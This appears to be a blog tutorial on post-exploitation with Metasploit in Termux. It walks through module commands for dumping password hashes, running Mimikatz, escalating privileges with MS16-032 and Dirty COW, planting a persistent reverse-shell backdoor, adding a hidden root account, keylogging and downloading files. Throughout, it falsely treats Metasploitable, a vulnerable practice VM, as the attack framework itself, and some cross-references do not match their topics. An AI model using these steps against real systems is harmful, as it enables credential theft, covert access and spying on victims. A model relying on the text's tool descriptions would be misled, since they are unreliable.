Post-Exploitation Techniques with Metasploitable in Termux

After exploiting a system using Metasploitable, the post-exploitation phase is where you can further extend your control over the compromised machine. Post-exploitation involves activities like gathering sensitive information, escalating privileges, and maintaining persistence on the system. By leveraging Metasploit’s powerful post-exploitation tools, you can take advantage of the compromised system to its full potential.

In this guide, we’ll explore how to perform key post-exploitation techniques using Metasploitable within Termux. You’ll learn how to gather critical data, dump credentials, escalate privileges, and create persistent backdoors—all crucial steps to maintain control over a compromised system. With the flexibility of Metasploitable, you can efficiently manage your penetration testing workflow.

What is Metasploitable?

Metasploitable is a vulnerable virtual machine designed specifically for penetration testing and security training. It serves as a target for security professionals and ethical hackers to practice their skills in a controlled environment. The Metasploitable project is part of the Metasploit Framework and includes a variety of known vulnerabilities that can be exploited, making it an ideal platform for testing and enhancing penetration testing techniques.

By using Metasploitable, ethical hackers can learn about various attack vectors and how to defend against them. It provides a safe space to explore vulnerabilities, experiment with exploits, and understand the underlying mechanics of security breaches without the risk of affecting real-world systems.

Table of Contents

Understanding Post-Exploitation with Metasploitable

Once you gain access to a target system using Metasploitable, the real work begins in the post-exploitation phase. Post-exploitation refers to the various techniques and actions you can perform on the compromised machine, ranging from gathering system information to maintaining persistent access. These tasks allow penetration testers to extract useful data, escalate privileges, and make the most out of their exploits.

Using Metasploitable in Termux provides a powerful way to automate post-exploitation techniques. Whether you’re dumping passwords, elevating privileges, or setting up persistence, Metasploitable offers several modules that streamline the process. For more in-depth guides on Metasploit setup and usage, visit Metasploit’s official documentation.

Prerequisites

Before you can begin working with post-exploitation, ensure you have the following:

• Metasploitable installed and configured in Termux.
• Rooted Android device with Termux and PostgreSQL support.
• An active session from a successful exploit via Metasploit.

If you need guidance on setting up Metasploit and Metasploitable, check out our related article Setting Up a Metasploit Database in Termux for Faster Operations.

Key Post-Exploitation Techniques with Metasploitable

Step 1: Gathering System Information

The first task after gaining access to a system is to gather as much information as possible. This includes details like OS version, architecture, running processes, and network configuration. In Metasploitable, you can use the sysinfo command to collect basic system details:

sysinfo

To go beyond the basics, Metasploitable provides more specific modules for gathering deeper insights into the target system, such as enumerating installed applications or network services.

post/multi/gather/enum_network

Refer to our guide on Basic Network Scans Using Nmap in Termux for additional network discovery techniques.

Step 2: Dumping Passwords and Credentials

Once inside a target system, extracting credentials is a key post-exploitation activity. Metasploitable offers several modules for retrieving password hashes, tokens, and stored credentials. For Windows targets, you can dump password hashes using:

use post/windows/gather/hashdump
run

For Linux targets, retrieve passwords and credentials via:

use post/linux/gather/hashdump

Additionally, you can use Mimikatz to retrieve plaintext passwords and other stored credentials from memory:

use post/windows/gather/credentials/mimikatz
run

For more on extracting passwords using Metasploitable, see our related post Automating Exploits in Metasploit: Scripting Attacks in Termux.

Step 3: Privilege Escalation

After dumping credentials, the next step is to escalate your privileges. Privilege escalation allows you to gain higher-level access, enabling you to execute more powerful commands and view restricted data. In Metasploitable, there are numerous privilege escalation modules available. For instance, on Windows systems:

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION <session_id>
run

For Linux privilege escalation, try the Dirty COW exploit:

use exploit/linux/local/dirtycow
set SESSION <session_id>
run

This article on Advanced Nmap Scanning in Termux can offer further insights into advanced network vulnerabilities that can assist in privilege escalation.

Step 4: Maintaining Persistence

To ensure long-term control over a compromised system, you need to set up persistence. Metasploitable offers several ways to achieve this, including installing backdoors or creating hidden user accounts. To establish a persistent backdoor on Windows:

use exploit/windows/local/persistence
set SESSION <session_id>
set PAYLOAD windows/meterpreter/reverse_tcp
run

On Linux systems, create a new user with root access:

use post/linux/manage/add_user
set USER rootadmin
set PASS strongpassword

Check out Tips for Securing Your Termux Environment for advice on how to protect against such attacks.

Step 5: Advanced Post-Exploitation Modules

In addition to the standard post-exploitation tools, Metasploitable offers advanced modules for specific tasks like keylogging, webcam spying, and filesystem manipulation. For example, to start keylogging on a Windows system:

use post/windows/capture/keylog_recorder
run

To access and download files from a target system:

use post/multi/manage/download_file
set SESSION <session_id>
set REMOTE_PATH /path

For an in-depth exploration of keylogging techniques, see Visualizing Network Topology Using Nmap Scan Results.

Conclusion

Mastering post-exploitation techniques using Metasploitable in Termux allows penetration testers to maximize the value of their exploits. From gathering critical system data and extracting credentials to escalating privileges and setting up persistence, these techniques enable you to maintain control over compromised systems. With a solid understanding of these tools, you can significantly enhance the effectiveness of your security assessments.

For more tutorials on advanced post-exploitation techniques, explore our full archive of Termux articles on Metasploitable and other ethical hacking topics.